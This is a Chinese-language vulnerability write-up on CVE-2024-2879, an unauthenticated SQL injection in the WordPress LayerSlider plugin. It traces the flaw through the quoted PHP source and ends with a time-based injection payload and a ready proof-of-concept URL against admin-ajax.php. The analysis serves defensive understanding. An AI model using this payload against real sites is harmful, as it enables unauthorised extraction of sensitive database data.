WordPress LayerSlider 插件存在SQL注入漏洞-CVE-2024-2879分析
养一只月亮 发表于 北京 漏洞分析 1124浏览 · 2024-05-30 05:39

CVE-2024-2879

漏洞概述

2024 年 3 月 25 日,在 WordPress 的 LayerSlider 插件中发现了一个严重的安全漏洞,标记为 CVE-2024-2879。该插件有超过 10 万个活跃安装。该漏洞的 CVSS 评分为 7.5 分(满分 10.0 分),被认定为影响 LayerSlider 版本 7.9.11 至 7.10.0 的 SQL 注入漏洞。

未经身份验证的威胁者可利用该漏洞从数据库中获取敏感信息。

漏洞触发环境

  • 基于Wordpress搭建的网站

  • LayerSlider插件版本7.9.11 – 7.10.0

漏洞成因

在assets/wp/actions.php文件中存在该漏洞入口

function ls_get_popup_markup() {

    $id     = is_numeric( $_GET['id'] ) ? (int) $_GET['id'] : $_GET['id'];
    $popup = LS_Sliders::find( $id );

    if( $popup ) {
        $GLOBALS['lsAjaxOverridePopupSettings'] = true;
        $parts  = LS_Shortcode::generateSliderMarkup( $popup );
        die( $parts['container'].$parts['markup'].'<script>'.$parts['init'].'</script>' );
    }

    die();
}

根据漏洞预警平台信息可以知道,漏洞存在于ls_get_popup_markup()函数,该函数用于查询弹出窗口的滑块标记。它接受“id”参数值来识别滑块。

通过get请求传入的参数id通过is_numeric()函数来判断id是否是数字,如果不是数字则直接将我们传入的参数id值赋值给变量id

然后将变量id传入LS_Sliders::find()函数

我们跟进到LS_Sliders::find()函数中查看find方法

public static function find( $args = [] ) {

        $userArgs = $args;

        // Find by slider ID
        if(is_numeric($args) && intval($args) == $args) {
            return self::_getById( (int) $args );

        // Random slider
        } elseif($args === 'random') {
            return self::_getRandom();

        // Find by slider slug
        } elseif(is_string($args)) {
            return self::_getBySlug($args);

        // Find by list of slider IDs
        } elseif(is_array($args) && isset($args[0]) && is_numeric($args[0])) {
            return self::_getByIds($args);

        // Find by query
        } else {

            // Defaults
            $defaults = [
                'columns' => '*',
                'where' => '',
                'exclude' => ['removed'],
                'orderby' => 'date_c',
                'order' => 'DESC',
                'limit' => 30,
                'page' => 1,
                'groups' => false,
                'data' => true,
                'drafts' => false
            ];

            // Merge user data with defaults
            foreach( $defaults as $key => $val ) {
                if( ! isset( $args[ $key ] ) ) {
                    $args[ $key ] = $val;
                }
            }

            // Escape user data
            foreach( $args as $key => $val ) {
                if( $key !== 'where' ) {
                    $args[ $key ] = esc_sql( $val );
                }
            }

            // Due to the nature of dynamically built queries we can't
            // use prepared statements or $wpdb::prepare(). By keeping
            // this function backwards compatible, we have even less
            // options to completely eliminate potential issues caused
            // by unhandled data.

            // In addition of using esc_sql(), we're performing some
            // further tests trying to filter out user data that might
            // not be handled properly prior to this function call.
            $columns = ['id', 'group_id', 'author', 'name', 'slug', 'data', 'date_c', 'date_m', 'schedule_start', 'schedule_end', 'flag_dirty',  'flag_hidden', 'flag_deleted', 'flag_popup', 'flag_group'];

            $args['columns']    = ( $args['columns'] === '*' ) ? implode(', ', $columns) : $args['columns'];
            $args['orderby']    = in_array($args['orderby'], $columns) ? $args['orderby'] : 'date_c';
            $args['order']      = ($args['order'] === 'DESC') ? 'DESC' : 'ASC';
            $args['limit']      = (int)  $args['limit'];
            $args['page']       = (int)  $args['page'];
            $args['groups']     = (bool) $args['groups'];
            $args['data']       = (bool) $args['data'];
            $args['drafts']     = (bool) $args['drafts'];



            if( ! $args['data'] ) {
                $args['columns'] = str_replace(', data', '', $args['columns'] );
            }


            $exclude = [];
            if( $args['groups'] ) {
                $exclude[] = "( group_id IS NULL OR group_id = '0' )";
            } else {
                $exclude[] = "flag_group = '0'";
            }


            if( ! empty( $args['exclude'] ) ) {

                if( in_array( 'hidden', $args['exclude'] ) ) {
                    $exclude[] = "flag_hidden = '0'";
                }

                if( in_array( 'removed', $args['exclude'] ) ) {
                    $exclude[] = "flag_deleted = '0'";
                }
            }

            $args['exclude'] = implode(' AND ', $exclude);

            // Where
            $where = '';
            if(!empty($args['where']) && !empty($args['exclude'])) {
                $where = "WHERE ({$args['exclude']}) AND ({$args['where']}) ";

            } elseif(!empty($args['where'])) {
                $where = "WHERE {$args['where']} ";

            } elseif(!empty($args['exclude'])) {
                $where = "WHERE {$args['exclude']} ";
            }

            // Some adjustments
            $args['limit'] = ($args['limit'] * $args['page'] - $args['limit']).', '.$args['limit'];

            // Build the query
            global $wpdb;
            $table = $wpdb->prefix.LS_DB_TABLE;
            $sliders = $wpdb->get_results("
                SELECT SQL_CALC_FOUND_ROWS {$args['columns']}
                FROM $table
                $where
                ORDER BY `{$args['orderby']}` {$args['order']}, name ASC
                LIMIT {$args['limit']}

            ", ARRAY_A);

            // Set counter
            $found = $wpdb->get_col("SELECT FOUND_ROWS()");
            self::$count = (int) $found[0];

            // Return original value on error
            if(!is_array($sliders)) { return $sliders; };

            // Parse slider data
            if($args['data']) {
                foreach($sliders as $key => $val) {
                    $sliders[$key]['data'] = json_decode($val['data'], true);
                }
            }


            if( $args['groups'] || $args['drafts'] ) {
                foreach( $sliders as $key => $val ) {

                    if( $args['groups'] && $val['flag_group'] ) {
                        $sliders[ $key ]['items'] = self::_getGroupItems( (int) $val['id'], $userArgs );
                    }

                    if( $args['drafts'] && $val['flag_dirty'] ) {
                        $sliders[ $key ]['draft'] = self::getDraft( (int) $val['id'] );
                    }
                }
            }

            // Return sliders
            return $sliders;
        }
    }

我们可以看见,变量key如果不等于where就会使用esc_sql()函数清洗变量

所以我们查看变量where相关的代码

// Where
            $where = '';
            if(!empty($args['where']) && !empty($args['exclude'])) {
                $where = "WHERE ({$args['exclude']}) AND ({$args['where']}) ";

            } elseif(!empty($args['where'])) {
                $where = "WHERE {$args['where']} ";

            } elseif(!empty($args['exclude'])) {
                $where = "WHERE {$args['exclude']} ";
            }

            // Some adjustments
            $args['limit'] = ($args['limit'] * $args['page'] - $args['limit']).', '.$args['limit'];

            // Build the query
            global $wpdb;
            $table = $wpdb->prefix.LS_DB_TABLE;
            $sliders = $wpdb->get_results("
                SELECT SQL_CALC_FOUND_ROWS {$args['columns']}
                FROM $table
                $where
                ORDER BY `{$args['orderby']}` {$args['order']}, name ASC
                LIMIT {$args['limit']}

            ", ARRAY_A);

如果变量where是非空的值并且变量exclude是空的,则会将变量where的值与WHERE进行拼接

global $wpdb;
            $table = $wpdb->prefix.LS_DB_TABLE;
            $sliders = $wpdb->get_results("
                SELECT SQL_CALC_FOUND_ROWS {$args['columns']}
                FROM $table
                $where
                ORDER BY `{$args['orderby']}` {$args['order']}, name ASC
                LIMIT {$args['limit']}

            ", ARRAY_A);

正常SQL语句的逻辑:从变量table表中选择指定列的查询带有变量where的筛选条件并且排序,并限制返回的行数

所以我们要通过给变量where传入构造好的payload,我们假设构造一个延时注入的payload

id[where]=(SELECT 0 FROM (SELECT SLEEP(5))dwade)

那么构造的SQL语句为

SELECT SQL_CALC_FOUND_ROWS {$args['columns']} FROM $table (SELECT 0 FROM (SELECT SLEEP(5))qualysWAS)
ORDER BY `{$args['orderby']}` {$args['order']}, name ASC LIMIT {$args['limit']}

payload构造好之后,我们则寻找可以调用ls_get_popup_markup()函数的入口

从actions.php中发现

// AJAX functions
        add_action('wp_ajax_ls_save_google_fonts', 'ls_save_google_fonts');
        add_action('wp_ajax_ls_save_plugin_settings', 'ls_save_plugin_settings');
        add_action('wp_ajax_ls_save_slider', 'ls_save_slider');
        add_action('wp_ajax_ls_rename_project', 'ls_rename_project');
        add_action('wp_ajax_ls_publish_slider', 'ls_publish_slider');
        add_action('wp_ajax_ls_revert_slider', 'ls_revert_slider');
        add_action('wp_ajax_ls_import_bundled', 'ls_import_bundled');
        add_action('wp_ajax_ls_import_online', 'ls_import_online');
        add_action('wp_ajax_ls_save_pagination_limit', 'ls_save_pagination_limit');
        add_action('wp_ajax_ls_save_editor_settings', 'ls_save_editor_settings');
        add_action('wp_ajax_ls_get_slider_details', 'ls_get_slider_details');
        add_action('wp_ajax_ls_get_mce_sliders', 'ls_get_mce_sliders');
        add_action('wp_ajax_ls_get_mce_slides', 'ls_get_mce_slides');
        add_action('wp_ajax_ls_layer_action_popups', 'ls_layer_action_popups');
        add_action('wp_ajax_ls_get_post_details', 'ls_get_post_details');
        add_action('wp_ajax_lse_get_search_posts', 'lse_get_search_posts');
        add_action('wp_ajax_ls_get_taxonomies', 'ls_get_taxonomies');
        add_action('wp_ajax_ls_upload_from_url', 'ls_upload_from_url');
        add_action('wp_ajax_ls_store_opened', 'ls_store_opened');
        add_action('wp_ajax_ls_create_slider_group', 'ls_create_slider_group');
        add_action('wp_ajax_ls_add_slider_to_group', 'ls_add_slider_to_group');
        add_action('wp_ajax_ls_rename_slider_group', 'ls_rename_slider_group');
        add_action('wp_ajax_ls_remove_slider_from_group', 'ls_remove_slider_from_group');
        add_action('wp_ajax_ls_delete_slider_group', 'ls_delete_slider_group');
        add_action('wp_ajax_ls_download_module', 'ls_download_module');
        add_action('wp_ajax_ls_get_revisions', 'ls_get_revisions');
        add_action('wp_ajax_ls_save_revisions_options', 'ls_save_revisions_options');
        add_action('wp_ajax_ls_save_transition_presets', 'ls_save_transition_presets');
        add_action('wp_ajax_ls_download_object', 'ls_download_object');
        add_action('wp_ajax_ls_assets_remote_download', 'ls_assets_remote_download');
        add_action('wp_ajax_ls_assets_remote_search', 'ls_assets_remote_search');

        add_action( 'wp_ajax_ls_get_popup_markup', 'ls_get_popup_markup' );
    }

    // ADMIN PUBLIC AJAX FUNCTIONS
    add_action('wp_ajax_ls_slider_library_contents', 'ls_slider_library_contents');

    // FRONT-END AJAX FUNCTIONS
    add_action( 'wp_ajax_nopriv_ls_get_popup_markup', 'ls_get_popup_markup' );
});

我们可以看见ls_get_popup_markup()函数已经加到前端ajax请求了,所以我们可以直接通过admin-ajax.php文件调用该函数

构造POC:
http://site.com/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=(SELECT 0 FROM (SELECT SLEEP(5))dwade)

漏洞复现

0 条评论
某人
表情
可输入 255